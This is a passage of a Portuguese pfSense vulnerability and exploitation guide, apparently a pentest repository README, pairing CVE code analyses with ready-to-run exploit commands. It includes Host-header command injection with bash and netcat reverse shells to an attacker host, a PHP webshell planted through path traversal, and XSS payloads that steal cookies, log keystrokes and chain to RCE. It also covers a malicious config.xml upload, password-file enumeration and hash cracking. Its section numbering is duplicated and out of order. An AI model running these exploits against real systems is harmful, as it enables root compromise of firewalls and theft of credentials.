| CVE-2022-29272 | CE < 2.6.0 | Command Injection | 7.5 | Diagnostic pages; PoC criada |
| CVE-2023-27253 | CE < 2.7.1 | Command Injection | 8.8 | RRD restore via config.xml → injeção de comando como root (auth); EPSS 77.7% |
| CVE-2023-27100 | CE 2.6.0, Plus 22.05.1 | SSHGuard Bypass | 9.8 | Bypass de proteção brute force via headers HTTP; PoC criada |
| CVE-2023-42326 | CE < 2.7.0, Plus < 23.05.1 | Command Injection | 8.8 | interfaces_gif_edit.php, interfaces_gre_edit.php; EPSS 84.8%; Fix: d69d6c8424 |
| CVE-2022-31814 | pfBlockerNG < 2.1.4_26 | RCE (Path Traversal) | 9.8 | Path traversal → escrita de webshell → RCE como root (sem auth) |
| CVE-2018-4019 | pfSense Plus | RCE | 9.8 | Parâmetro não sanitizado → injeção de comando como root |
| CVE-2016-10709 | CE < 2.3.0 | Command Injection | 9.8 | Páginas de diagnóstico (ping, traceroute, dns) → injeção de comando como root |
| CVE-2021-41282 | pfBlockerNG 2.1.x | RCE pós-auth | 8.8 | SQL injection → RCE; PoC criada |
| CVE-2021-41283 | pfBlockerNG 2.1.x | XSS | 5.4 | Stored XSS via DNS/IP BL; PoC criada |
| CVE-2021-27932 | CE < 2.5.1 | Auth Bypass | 7.5 | HTTP header injection; PoC criada |
| CVE-2021-27933 | CE < 2.5.1 | Command Injection | 7.5 | Diagnostic auth page; PoC criada |
| CVE-2020-11446 | CE < 2.4.5-p1 | CSRF | 8.8 | Múltiplas ações; PoC criada |
| CVE-2020-21487 | ACME pkg 0.6.3 | Stored XSS | 9.6 | RootFolder field em acme_certificates.php; PoC criada |
| CVE-2019-16701 | CE < 2.4.4-p1 | XSS | 6.1 | Reflected XSS; PoC criada |
| CVE-2018-4019 | pfSense Plus | RCE | 9.8 | Parâmetro não sanitizado; PoC criada |
| CVE-2017-1000479 | CE < 2.4.0 | CSRF → RCE | 8.8 | Sem proteção CSRF completa; PoC criada |
| CVE-2016-10709 | CE < 2.3.0 | Command Injection | 9.8 | Via diagnóstico; PoC criada |

### 4.2 CVE-2024-57273 — OpenVPN Kill Client sem Validação (CE < 2.8.0)
> **Arquivos afetados:** `status_openvpn.php`, `openvpn.widget.php`, `openvpn.inc`
> **CVSS v3.1:** 5.3 Medium (`AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L`) | **CWE:** CWE-20
> **Fix:** commit `92a55a0ad8` (Dez 2024) — Issue #15856
>
> **Análise do código vulnerável (pré-patch):**
> ```php
> // status_openvpn.php:40-52 — SEM VALIDAÇÃO
> if ($_POST['action'] == "kill") {
>     $port  = $_POST['port'];      // ← Sem validação
>     $remipp  = $_POST['remipp'];  // ← Sem validação
>     $client_id  = $_POST['client_id'];
>     if (!empty($port) and !empty($remipp)) {  // ← Validação frágil
>         $retval = openvpn_kill_client($port, $remipp, $client_id);
>     }
> }
>
> // openvpn.inc:2243-2254 — Path sem basename()
> function openvpn_kill_client($port, $remipp, $client_id) {
>     $tcpsrv = "unix://{$g['openvpn_base']}/{$port}/sock";  // ← Path traversal potencial
>     $fp = @stream_socket_client($tcpsrv, $errval, $errstr, 1);
>     // ... envia comando kill para socket
> }
> ```
>
> **Correção (pós-patch):**
> ```php
> // Validação adicionada:
> if (!is_ipaddrwithport($remipp)) { $error = true; }
> foreach ($servers as $server) {
>     if ($port == $server['mgmt']) { $found_server = true; }
> }
> // E no openvpn.inc:
> $port = basename($port);  // Previne path traversal
> ```
>
> **Impacto:** Qualquer usuário autenticado pode desconectar **qualquer cliente OpenVPN** conectado, causando DoS persistente nos túneis VPN.

```bash
# PoC disponível em: pocs/PfSense/CVE-2024-57273/poc.py

# Detectar vulnerabilidade
python3 pocs/PfSense/CVE-2024-57273/poc.py \
  -t https://TARGET -u admin -p pfsense detect

# Listar servidores OpenVPN ativos
python3 pocs/PfSense/CVE-2024-57273/poc.py \
  -t https://TARGET -u admin -p pfsense list-servers

# Listar clientes conectados
python3 pocs/PfSense/CVE-2024-57273/poc.py \
  -t https://TARGET -u admin -p pfsense list-clients

# Desconectar cliente específico (DoS)
python3 pocs/PfSense/CVE-2024-57273/poc.py \
  -t https://TARGET -u admin -p pfsense kill \
  --server-port 7500 --client-ip 10.0.0.50 --client-port 12345

# DoS em massa — desconectar todos os clientes
python3 pocs/PfSense/CVE-2024-57273/poc.py \
  -t https://TARGET -u admin -p pfsense kill-all

# Verificar se patch foi aplicado
python3 pocs/PfSense/CVE-2024-57273/poc.py \
  -t https://TARGET -u admin -p pfsense check-patch
```

### 4.4 CVE-2024-54780 — Dashboard Widget Key Validation Bypass (CE < 2.8.0)
> **Arquivos afetados:** 15 widgets em `widgets/widgets/*.widget.php`, `util.inc`
> **CVSS v3.1:** 4.3 Medium (`AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N`) | **CWE:** CWE-20
>
> **Análise do diff do patch:**
> - **Pre-patch:** `if ($_REQUEST['widgetkey']) { $widgetkey = $_REQUEST['widgetkey']; }` — aceita qualquer valor
> - **Post-patch:** `if (is_valid_widgetkey($rwidgetkey, $user_settings, __FILE__))` — valida contra dashboard config
>
> **Vulnerabilidade:** Antes do fix, widgets aceitavam valores arbitrários de `widgetkey` sem validação.
> Um atacante autenticado podia submeter widgetkeys maliciosas para:
> - Acessar dados de instâncias de outros widgets
> - Bypass de validação de configurações do widget
> - Potencialmente explorar vulnerabilidades downstream no processamento do widget
>
> **Fix:** commits `04b74da157` e `6b42147b1c` (Dez 2024) — Issue #15844
> - Adiciona função `is_valid_widgetkey()` em `util.inc`
> - Valida formato `<widget-name>-<instance-id>`
> - Verifica se widget existe no dashboard do usuário
> - Verifica se instance ID é inteiro não-negativo

```bash
# Detectar vulnerabilidade
python3 pocs/PfSense/CVE-2024-54780/poc.py \
  -u https://TARGET -U admin -P password detect

# Listar widgets disponíveis
python3 pocs/PfSense/CVE-2024-54780/poc.py \
  -u https://TARGET -U admin -P password list-widgets

# Testar bypass de validação com payloads
python3 pocs/PfSense/CVE-2024-54780/poc.py \
  -u https://TARGET -U admin -P password test-bypass

# Testar widget específico (default: openvpn)
python3 pocs/PfSense/CVE-2024-54780/poc.py \
  -u https://TARGET -U admin -P password test-bypass --widget gateways

# Verificar se patch foi aplicado
python3 pocs/PfSense/CVE-2024-54780/poc.py \
  -u https://TARGET -U admin -P password check-patch
```

#### Teste Manual com curl
```bash
# Obter sessão autenticada
curl -sk -c /tmp/pf.jar -b /tmp/pf.jar \
  -d "usernamefld=admin&passwordfld=password&login=Sign+In" \
  https://TARGET/ -o /dev/null

# Testar com widgetkey inválido
# Vulnerável: retorna conteúdo do widget sem erro
# Patched: retorna "Invalid Widget Key"
curl -sk -b /tmp/pf.jar \
  "https://TARGET/widgets/widgets/openvpn.widget.php?widgetkey=invalid-999&ajax=true"

# Testar path traversal attempt
curl -sk -b /tmp/pf.jar \
  "https://TARGET/widgets/widgets/openvpn.widget.php?widgetkey=../../../etc/passwd-0&ajax=true"

# Testar XSS attempt
curl -sk -b /tmp/pf.jar \
  "https://TARGET/widgets/widgets/openvpn.widget.php?widgetkey=<script>alert(1)</script>-0&ajax=true"
```

#### Impacto e Chain Attacks
```bash
# Widgetkey validation bypass sozinho: baixo impacto (C:L)
# Mas pode ser combinado com outras vulnerabilidades:

# Chain com CVE-2024-54779 (XML Injection via widgetkey):
# 1. Bypass validação com widgetkey malicioso
# 2. Injetar XML para corromper config.xml
# 3. Persistência de configuração maliciosa

# Chain com XSS em outros widgets:
# 1. Acessar widget vulnerável via bypass
# 2. Extrair dados sensíveis do widget
# 3. Usar informações para ataques adicionais
```

### 4.6 CVE-2022-40624 — pfBlockerNG Host Header RCE (pfBlockerNG <= 2.1.4_27)
> **Pacote afetado:** pfBlockerNG through 2.1.4_27
> **CVSS v3.1:** 9.8 Critical (`AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`) | **CWE:** CWE-77
> **EPSS:** 84.7% (High probability of exploitation)
>
> **Mecanismo da Vulnerabilidade:**
> O pfBlockerNG usa o HTTP Host header em comandos shell sem sanitização adequada.
> Um atacante remoto pode injetar comandos shell via Host header, executados como root.
>
> **Diferença do CVE-2022-31814:** Esta é uma vulnerabilidade diferente do CVE-2022-31814
> (também RCE no pfBlockerNG), mas com o mesmo impacto crítico.

```bash
# Pré-requisito: pfBlockerNG instalado
# Verificar instalação
python3 pocs/PfSense/CVE-2022-40624/poc.py -u https://TARGET check-package

# Detectar vulnerabilidade (time-based detection)
python3 pocs/PfSense/CVE-2022-40624/poc.py -u https://TARGET detect

# Executar comando arbitrário (sem autenticação!)
python3 pocs/PfSense/CVE-2022-40624/poc.py -u https://TARGET exploit --cmd "id"

# Obter informações do sistema
python3 pocs/PfSense/CVE-2022-40624/poc.py -u https://TARGET exploit --cmd "uname -a"

# Setup reverse shell (CRITICAL - root access!)
# Listener: nc -lvnp 4444
python3 pocs/PfSense/CVE-2022-40624/poc.py -u https://TARGET \
  exploit --reverse-shell --host ATTACKER_IP --port 4444
```

#### Exploração Manual com curl
```bash
# Teste time-based (detectar sem deixar rastros)
# Vulnerável: resposta demora >5 segundos
# Patched: resposta imediata
time curl -k -s -o /dev/null \
  -H "Host: 127.0.0.1; sleep 5; #" \
  "https://TARGET/pfblockerng/index.php"

# Executar comando e capturar saída
curl -k -s \
  -H "Host: 127.0.0.1; id; #" \
  "https://TARGET/pfblockerng/index.php"

# Reverse shell bash
curl -k -s \
  -H "Host: 127.0.0.1; bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'; #" \
  "https://TARGET/pfblockerng/index.php"

# Reverse shell netcat
curl -k -s \
  -H "Host: 127.0.0.1; nc -e /bin/sh ATTACKER 4444; #" \
  "https://TARGET/pfblockerng/index.php"
```

#### Cadeia de Exploração Típica
```bash
# 1. Confirmar pfBlockerNG instalado
python3 pocs/PfSense/CVE-2022-40624/poc.py -u https://TARGET check-package

# 2. Detectar vulnerabilidade
python3 pocs/PfSense/CVE-2022-40624/poc.py -u https://TARGET detect

# 3. Executar comando de reconhecimento
python3 pocs/PfSense/CVE-2022-40624/poc.py -u https://TARGET exploit --cmd "cat /etc/master.passwd"

# 4. Extrair hashes de senha
python3 pocs/PfSense/CVE-2022-40624/poc.py -u https://TARGET exploit --cmd "cat /etc/master.passwd | grep -v '^\*' | cut -d: -f1,2"

# 5. Hashcat para quebra de senhas
hashcat -m 400 pfsense_hashes /path/to/wordlist

# 6. Setup reverse shell para acesso persistente
python3 pocs/PfSense/CVE-2022-40624/poc.py -u https://TARGET \
  exploit --reverse-shell --host ATTACKER_IP --port 4444

# 7. Com reverse shell, acessar config.xml completo
# cat /cf/conf/config.xml
# Extrair: hashes, PSKs VPN, chaves privadas, credenciais

# 8. Pivot para rede interna
# pfSense tem acesso a todas as redes conectadas
# Usar como ponto de entrada para ataques internos
```

#### Mitigação e Verificação de Patch
```bash
# Upgrade do pfBlockerNG (via GUI ou SSH)
# System > Package Manager > pfBlockerNG > Upgrade

# Verificar versão instalada
pkg info | grep -i pfblocker

# Após patch, testar novamente
python3 pocs/PfSense/CVE-2022-40624/poc.py -u https://TARGET detect
# Deve retornar: NOT_VULNERABLE

# Teste manual pós-patch
time curl -k -s -o /dev/null \
  -H "Host: 127.0.0.1; sleep 5; #" \
  "https://TARGET/pfblockerng/index.php"
# Deve responder imediatamente (<1 segundo)
```

#### Impacto e Riscos
```
CRÍTICO: RCE como root SEM autenticação

- Atacante remoto executa comandos arbitrários
- pfSense web interface roda como root
- Acesso completo ao firewall e rede interna
- EPSS 84.7% indica alta probabilidade de exploração ativa
- Pode ser usado para:
  * Comprometer toda a rede interna
  * Interceptação de tráfego (MITM)
  * Pivot para ataques laterais
  * Adicionar firewall a botnet
  * Mineração de criptomoedas
  * DDoS attacks
```

### 4.7 CVE-2022-29273 — Stored XSS via URL Table Alias (CE < 2.6.0, Plus < 22.05)
> **Arquivos afetados:** `firewall_aliases.php`, `guiconfig.inc`
> **CVSS v3.1:** 6.1 Medium (`AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N`) | **CWE:** CWE-79
> **EPSS:** 38.0% | **Issue:** #13060
> **Fix commits:** `528e53e8bb`, `ac6e07b50d` (Mai 2022)
>
> **Análise do código vulnerável (pré-patch):**
> ```php
> // firewall_aliases.php:~151 — SEM htmlspecialchars()
> if ($alias["url"]) {
>     echo $alias["url"] . "<br />";  // ← XSS: URL refletido sem encoding
> }
> 
> // firewall_aliases.php:~154
> if ($alias["url"]) {
>     echo "<a href=\"{$alias['url']}\">{$alias['url']}</a><br />";  // ← XSS no href e texto
> }
> 
> // guiconfig.inc:alias_info_popup()
> echo "<tr><td>{$row['name']}</td><td>{$row['descr']}</td></tr>";  // ← XSS nos dados do alias
> ```
>
> **Código patchado (pós-fix):**
> ```php
> // firewall_aliases.php — COM htmlspecialchars()
> if ($alias["url"]) {
>     echo htmlspecialchars($alias["url"]) . "<br />";
> }
> 
> if ($alias["url"]) {
>     echo "<a href=\"" . htmlspecialchars($alias["url"]) . "\">" . 
>          htmlspecialchars($alias["url"]) . "</a><br />";
> }
> 
> // guiconfig.inc
> echo "<tr><td>" . htmlspecialchars($row['name']) . "</td><td>" . 
>      htmlspecialchars($row['descr']) . "</td></tr>";
> ```

```bash
# Detectar vulnerabilidade (cria alias de teste)
python3 pocs/PfSense/CVE-2022-29273/poc.py -u https://TARGET -a PHPSESSID=abc123 detect

# Explorar - armazenar payload XSS personalizado
python3 pocs/PfSense/CVE-2022-29273/poc.py -u https://TARGET -a PHPSESSID=abc123 \
  exploit --payload "<script>alert('XSS')</script>"

# Cookie stealer - exfiltrar sessões de administradores
python3 pocs/PfSense/CVE-2022-29273/poc.py -u https://TARGET -a PHPSESSID=abc123 \
  steal-cookie --callback https://ATTACKER/callback

# Verificar se sistema está patchado
python3 pocs/PfSense/CVE-2022-29273/poc.py -u https://TARGET -a PHPSESSID=abc123 check-patch
```

#### Payloads de Exemplo
```python
# Cookie stealer (exfiltra para servidor do atacante)
payload = """<script>
var img=new Image();
img.src='https://ATTACKER/callback/?cookie='+encodeURIComponent(document.cookie);
</script>"""

# Keylogger (captura teclas digitadas)
payload = """<script>
document.onkeypress=function(e){
  var img=new Image();
  img.src='https://ATTACKER/callback/?key='+String.fromCharCode(e.charCode);
};
</script>"""

# Redirect para phishing
payload = """<script>
window.location='https://ATTACKER/phishing-pfsense.html';
</script>"""

# BeEF hook (Browser Exploitation Framework)
payload = """<script src="https://ATTACKER/beef.js"></script>"""
```

#### Workflow de Exploração
```bash
# 1. Autenticação necessária (pré-requisito)
# Obter sessão de administrador via login ou cookie stealing

# 2. Criar alias malicioso
python3 pocs/PfSense/CVE-2022-29273/poc.py -u https://TARGET \
  -a PHPSESSID=VALID_SESSION \
  exploit --payload "<script>document.location='https://ATTACKER/?c='+document.cookie</script>"

# 3. Aguardar vítima acessar Firewall > Aliases
# XSS executa quando administrador visualiza a lista de aliases

# 4. Exfiltração de sessão administrativa
# Cookie do administrador enviado para atacante
# Atacante pode se autenticar como admin
```

#### Mitigação
```bash
# Upgrade para versão patchada
# pfSense CE >= 2.6.0
# pfSense Plus >= 22.05

# Verificar versão
cat /etc/version

# Workaround: Não usar URL Table em aliases
# Usar apenas tipos: Host(s), Network(s), Port(s)

# Após patch, verificar codificação
python3 pocs/PfSense/CVE-2022-29273/poc.py -u https://TARGET -a PHPSESSID=abc123 check-patch
# Deve retornar: PATCHED
```

### 4.8 CVE-2023-27253 — Command Injection via RRD Restore (CE < 2.7.1)
> **Arquivos afetados:** `config.lib.inc`, `backup.inc`
> **CVSS v3.1:** 8.8 High (`AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H`) | **CWE:** CWE-77
> **EPSS:** 77.7% (High probability of exploitation)
> **Fix commit:** `ca80d18493` (Fev 2023) — Issue #13935
>
> **Análise do código vulnerável (pré-patch):**
> ```php
> // config.lib.inc:restore_rrddata() — LINHA 283-291 VULNERÁVEL
> foreach ($conf['rrddata']['rrddatafile'] as $rrd) {
>     if ($rrd['xmldata']) {
>         // VULNERÁVEL: filename usado sem basename()
>         $rrd_file = "{$g['vardb_path']}/rrd/{$rrd['filename']}";
>         $xml_file = preg_replace('/\.rrd$/', ".xml", $rrd_file);
>         // ...
>         // VULNERÁVEL: variáveis usadas sem escapeshellarg()
>         exec("$rrdtool restore -f '{$xml_file}' '{$rrd_file}'", $output, $status);
>     }
> }
> 
> // backup.inc:rrd_data_xml() — LINHA 54 VULNERÁVEL
> foreach ($rrd_files as $rrd_file) {
>     // VULNERÁVEL: sem escapeshellarg()
>     exec("$rrdtool dump '{$rrd_file}' '{$xml_file}'");
> }
> ```
>
> **Código patchado (pós-fix):**
> ```php
> // config.lib.inc — PATCHED
> $rrd_file = "{$g['vardb_path']}/rrd/" . basename($rrd['filename']);
> exec("{$rrdtool} restore -f " . escapeshellarg($xml_file) . ' ' . escapeshellarg($rrd_file), $output, $status);
> 
> // backup.inc — PATCHED
> exec("{$rrdtool} dump " . escapeshellarg($rrd_file) . ' ' . escapeshellarg($xml_file));
> ```

```bash
# Detectar vulnerabilidade (time-based)
python3 pocs/PfSense/CVE-2023-27253/poc.py -u https://TARGET -a PHPSESSID=abc123 detect

# Explorar — executar comando arbitrário (requer autenticação)
python3 pocs/PfSense/CVE-2023-27253/poc.py -u https://TARGET -a PHPSESSID=abc123 \
  exploit --cmd "id"

# Verificar patch status
python3 pocs/PfSense/CVE-2023-27253/poc.py -u https://TARGET -a PHPSESSID=abc123 check-patch
```

#### Criação de Config Malicioso
```bash
# Criar config.xml com injeção de comando
cat > malicious_config.xml << 'EOF'
<?xml version="1.0"?>
<pfsense>
  <rrddata>
    <rrddatafile>
      <filename>test_; id > /tmp/pwned; #.rrd</filename>
      <xmldata>H4sIAAAAAAAAA0tLSM0rLlEoSy0u0S1ILU7NKwEAGLXQJhUAAAA=</xmldata>
    </rrddatafile>
  </rrddata>
</pfsense>
EOF

# Upload via curl (requer sessão válida)
curl -k -X POST "https://TARGET/diag_backup.php" \
  -b "PHPSESSID=abc123xyz" \
  -F "conffile=@malicious_config.xml" \
  -F "restore=Restore"
```

#### Workflow de Exploração
```bash
# 1. Obter autenticação de administrador
# Via login legítimo, cookie stealing (XSS), ou credential theft

# 2. Criar config.xml malicioso com payload de injeção
# Filename: test_; <comando>; #.rrd

# 3. Upload via Diagnostics > Backup & Restore > Restore

# 4. Comando executa como root (web interface pfSense roda como root)

# 5. Para reverse shell:
# Listener: nc -lvnp 4444
python3 pocs/PfSense/CVE-2023-27253/poc.py -u https://TARGET -a PHPSESSID=abc123 \
  exploit --cmd "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"
```

#### Chain com Outras CVEs
```bash
# Chain A: XSS → Session Steal → RCE
# 1. CVE-2022-29273 ou CVE-2025-34174/77/78 para XSS armazenado
# 2. Roubar cookie PHPSESSID do administrador
# 3. CVE-2023-27253 para RCE com sessão roubada

# Chain B: File Read → Config Injection → RCE
# 1. CVE-2025-53392 para ler config.xml atual
# 2. Modificar com RRD filename malicioso
# 3. CVE-2023-27253 para executar via restore
```

#### Mitigação
```bash
# Upgrade para versão patchada
# pfSense CE >= 2.7.1
# pfSense Plus >= 23.01

# Verificar versão
cat /etc/version

# Workaround: Restringir acesso ao Backup & Restore
# System > User Manager > Editar usuário admin
# Remover privilégio "Backup & Restore"

# Ou restringir por IP
# System > Advanced > Admin Access
# Limitar acesso webGUI a IPs confiáveis

# Após patch, verificar
python3 pocs/PfSense/CVE-2023-27253/poc.py -u https://TARGET -a PHPSESSID=abc123 check-patch
# Deve retornar: PATCHED
```

### 4.9 CVE-2025-12490 — Path Traversal → RCE via Suricata/Snort (CE 2.8.1)
> **Pacote afetado:** Suricata 7.0.8_3 (e Snort — mesma família de vulnerabilidades, mesmo commit de fix)
> **CVSS:** 8.8 (High) | **CWE:** CWE-22 | **Fix:** commit `36b2303` no FreeBSD-ports
>
> **Análise do diff do patch:**
> `suricata_sid_mgmt.php:148` — `$tmp['name'] = $_POST['sidlist_name']` (sem `basename()` → persiste nome malicioso no config.xml)
> `suricata_sid_mgmt.php:~290` — `file_put_contents($tmpdirname . $list['name'], ...)` (sem `basename()` → escreve no caminho resolvido)
>
> **Chain:** salvar SID list com nome `../../usr/local/www/shell.php` e conteúdo PHP →
> triggar "Download All Lists" → `file_put_contents("/tmp/sidmods/../../usr/local/www/shell.php")` →
> webshell acessível em `https://TARGET/shell.php`

```bash
# Pré-requisito: usuário autenticado com acesso ao pacote Suricata
# URL do pacote: https://TARGET/suricata/suricata_sid_mgmt.php

# Passo 1: Obter cookie de sessão e CSRF token
curl -sk -c /tmp/pf.jar -b /tmp/pf.jar \
  -d "usernamefld=admin&passwordfld=pfsense&login=Sign+In" \
  https://TARGET/ -o /dev/null

CSRF=$(curl -sk -c /tmp/pf.jar -b /tmp/pf.jar \
  https://TARGET/suricata/suricata_sid_mgmt.php \
  | grep csrf_magic | sed "s/.*value='\(.*\)'.*/\1/")

# Passo 2: Salvar SID list com nome path traversal
# O nome é armazenado no config.xml sem basename()
# file_put_contents vai resolver: /tmp/sidmods/ + ../../usr/local/www/shell.php
#                               = /usr/local/www/shell.php  (web root do pfSense!)
SHELL_CONTENT='<?php if(isset($_REQUEST["cmd"])){system($_REQUEST["cmd"]);}?>'

curl -sk -b /tmp/pf.jar \
  -d "save=Save" \
  -d "listid=0" \
  --data-urlencode "sidlist_name=../../usr/local/www/pfsense_shell.php" \
  --data-urlencode "sidlist_data=${SHELL_CONTENT}" \
  -d "csrf_magic=${CSRF}" \
  https://TARGET/suricata/suricata_sid_mgmt.php -v 2>&1 | grep -E "HTTP/|Location"

# Passo 3: Atualizar CSRF token para próxima requisição
CSRF=$(curl -sk -c /tmp/pf.jar -b /tmp/pf.jar \
  https://TARGET/suricata/suricata_sid_mgmt.php \
  | grep csrf_magic | sed "s/.*value='\(.*\)'.*/\1/")

# Passo 4: Triggar file_put_contents via sidlist_dnload_all
# Isso faz: file_put_contents("/tmp/sidmods/" . "../../usr/local/www/pfsense_shell.php", conteúdo)
curl -sk -b /tmp/pf.jar \
  -d "sidlist_dnload_all=Download+All" \
  -d "csrf_magic=${CSRF}" \
  https://TARGET/suricata/suricata_sid_mgmt.php -o /dev/null

# Passo 5: Executar RCE via webshell
curl -sk "https://TARGET/pfsense_shell.php?cmd=id"
# Esperado: uid=0(root) gid=0(wheel)

# Reverse shell via webshell
curl -sk "https://TARGET/pfsense_shell.php" \
  --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"'

# Verificação de vulnerabilidade (sem explorar — só confirmar versão)
curl -sk -b /tmp/pf.jar https://TARGET/pkg_mgr_installed.php \
  | grep -iA2 "suricata\|snort" | grep -i "version\|7\.0\."

# Nuclei (quando template disponível)
nuclei -u https://TARGET -t cves/2025/CVE-2025-12490.yaml -silent
```

#### Vetor Alternativo — Snort (mesma família, mesmo commit de fix)
```bash
# snort_rules_edit.php — parâmetro GET openruleset sem basename()
# snort_sid_mgmt.php — mesma lógica de sidlist_name

# Verificar se Snort está instalado
curl -sk -b /tmp/pf.jar https://TARGET/snort/snort_sid_mgmt.php -I | head -1

# Se 200 OK: repetir os passos acima substituindo:
# suricata/suricata_sid_mgmt.php → snort/snort_sid_mgmt.php

# Vetor adicional em snort_rules_edit.php (GET parameter)
curl -sk -b /tmp/pf.jar \
  "https://TARGET/snort/snort_rules_edit.php?openruleset=../../usr/local/www/snort_shell.php" \
  | grep -i "error\|not found\|open"
```

### 4.3 CVE-2025-34174 — Stored XSS via Status_Traffic_Totals (package <= 2.3.2_7)
> **Pacote afetado:** Status_Traffic_Totals <= 2.3.2_7 em CE 2.8.0/2.8.1 e Plus 25.07/25.07.1
> **CVSS v3.1:** 5.4 Medium | **CWE:** CWE-79 (Stored XSS) | **Fix:** commit `9e412ed` @ pfsense/FreeBSD-ports
>
> **Detalhe crítico do código-fonte — o TODO que virou CVE:**
> ```php
> if ($_POST['defaults']) {
>     //TODO clean inputs    ← desenvolvedor sabia; código incompleto entrou em produção
>     $timePeriod = $_POST['time-period'];
>     $graphtype  = $_POST['graph-type'];
>     $startDay   = $_POST['start-day'];   // ← 6 parâmetros sem sanitização
>     ...
>     write_config('Save default settings for Status > Traffic Totals');
> }
>
> // Reflexão HTML sem encoding (linha ~240):
> <input type="number" ... value="<?=$startDay?>">
> //                                ^--- direto do config.xml sem htmlspecialchars()
> ```
>
> **Por que Stored XSS é mais grave que Reflected (CVE-2025-34172):**
> - Payload persiste em `config.xml` → ativa para TODOS os visitantes
> - Não requer envio de link malicioso para a vítima
> - Sobrevive ao logout do atacante
> - Admin que acessa Status > Traffic Totals dispara o XSS automaticamente

```bash
# PoC disponível em: pocs/PfSense/CVE-2025-34174/poc.py

# Passo 1: Detectar pacote instalado
python3 pocs/PfSense/CVE-2025-34174/poc.py \
  -t https://TARGET detect

# Passo 2a: Plantar XSS (prova de conceito — alerta)
python3 pocs/PfSense/CVE-2025-34174/poc.py \
  -t https://TARGET -u admin -p pfsense plant-xss

# Passo 2b: Plantar com exfiltração de sessão admin
python3 pocs/PfSense/CVE-2025-34174/poc.py \
  -t https://TARGET -u admin -p pfsense plant-xss \
  --callback http://ATTACKER:8080

# Passo 3: Verificar se payload ainda está ativo
python3 pocs/PfSense/CVE-2025-34174/poc.py \
  -t https://TARGET -u admin -p pfsense verify

# Passo 4: Listener para capturar cookie roubado (terminal separado)
python3 pocs/PfSense/CVE-2025-34174/poc.py listen --port 8080

# Passo 5: Cadeia completa → RCE quando admin visitar a página
python3 pocs/PfSense/CVE-2025-34174/poc.py \
  -t https://TARGET -u admin -p pfsense chain-rce \
  --callback http://ATTACKER:8080 --shell-cmd "id"

# Passo 6: Limpar payload após teste
python3 pocs/PfSense/CVE-2025-34174/poc.py \
  -t https://TARGET -u admin -p pfsense cleanup

# Manual — plantar e verificar via curl
CSRF=$(curl -sk -c /tmp/pf.jar -b /tmp/pf.jar https://TARGET/ \
  | grep csrf_magic | sed "s/.*value='\(.*\)'.*/\1/")
curl -sk -b /tmp/pf.jar https://TARGET/status_traffic_totals.php \
  -d "defaults=1&time-period=day&graph-type=line&invert=false&cumulative=false" \
  --data-urlencode 'start-day="><img src=x onerror=alert(document.domain)>' \
  --data-urlencode "csrf_magic=${CSRF}" | grep -c "have been applied"
# 1 = armazenado com sucesso | 0 = patched

# Verificar payload ativo (qualquer usuário, sem auth se page for pública)
curl -sk https://TARGET/status_traffic_totals.php | grep -c "onerror="
# 1 = payload ativo | 0 = limpo

# Payload de exfiltração de sessão (manual):
# start-day="><img src=x onerror="new Image().src='http://ATTACKER/?c='+document.cookie">

# Payload de cadeia XSS → RCE (executa diag_command.php via JS):
# start-day="><script>
#   fetch('/diag_command.php').then(r=>r.text()).then(t=>{
#     let c=t.match(/csrf_magic.*?value='([^']+)'/)[1];
#     fetch('/diag_command.php',{method:'POST',
#       headers:{'Content-Type':'application/x-www-form-urlencoded'},
#       body:'txtCommand=id&submit=EXEC&csrf_magic='+encodeURIComponent(c)})
#     .then(r=>r.text())
#     .then(o=>new Image().src='http://ATTACKER/rce?out='+encodeURIComponent(o));
#   });
# </script>
```

### 4.4 CVE-2025-34173 — File Existence Oracle via Snort IP Reputation (Snort <= 4.1.6_25)
> **Pacote afetado:** Snort <= 4.1.6_25 em CE 2.8.0/2.8.1 e Plus 25.07/25.07.1
> **CVSS v3.1:** 4.3 Medium | **CWE:** CWE-22 | **Fix:** commit `d6f462b` @ pfsense/FreeBSD-ports
>
> **Análise do diff — dois locais idênticos (blist_add e wlist_add):**
> ```php
> // snort_ip_reputation.php linha ~60 e ~86 (pré-patch):
> if (file_exists($_POST['iplist'])) {            // sem basename() nem restrição de path!
>     // arquivo existe → adiciona ao config
> } else {
>     $input_errors[] = "The file '{$_POST['iplist']}' could not be found.";
> }
>
> // PATCH: file_exists($iprep_path . basename($_POST['iplist']))
> // $iprep_path = SNORT_IPREP_PATH = /var/db/snort/iprep/
> ```
>
> **Oracle de 3 estados (diferenciação por resposta HTTP):**
> | Resposta | Significado |
> |----------|-------------|
> | `"could not be found"` | arquivo NÃO existe |
> | `"already assigned"` | arquivo existe (sem side-effect no config) |
> | sem erro, config atualizado | arquivo existe (PoC faz cleanup automático) |
>
> **Cadeia com CVE-2025-53392:** oracle identifica quais arquivos existem →
> dlPath lê o conteúdo → exfiltração de hashes, PSKs, chaves privadas.

```bash
# PoC disponível em: pocs/PfSense/CVE-2025-34173/poc.py

# Detectar Snort instalado (sem credenciais)
python3 pocs/PfSense/CVE-2025-34173/poc.py \
  -t https://TARGET detect

# Enumerar 30+ arquivos de alto valor (credenciais, VPN, IOC, pacotes)
python3 pocs/PfSense/CVE-2025-34173/poc.py \
  -t https://TARGET -u admin -p pfsense enum

# Lista customizada de alvos
python3 pocs/PfSense/CVE-2025-34173/poc.py \
  -t https://TARGET -u admin -p pfsense enum \
  --targets pocs/PfSense/CVE-2025-34173/targets_custom.txt

# Verificar um arquivo específico
python3 pocs/PfSense/CVE-2025-34173/poc.py \
  -t https://TARGET -u admin -p pfsense check --path /etc/master.passwd

# Cadeia automática: oracle → leitura via CVE-2025-53392
python3 pocs/PfSense/CVE-2025-34173/poc.py \
  -t https://TARGET -u admin -p pfsense chain-read

# Manual — oracle simples (blist_add com caminho arbitrário):
# "could not be found" → não existe | sem esse erro → existe
curl -sk -b cookies.jar https://TARGET/snort/snort_ip_reputation.php \
  -d "mode=wlist_add&iplist=/etc/master.passwd&id=0&csrf_magic=${CSRF}" \
  | grep -c "could not be found"
# 0 = arquivo EXISTE | 1 = NÃO existe

# Enumeração manual em loop (arquivos críticos)
for f in /etc/master.passwd /cf/conf/config.xml /root/.ssh/authorized_keys \
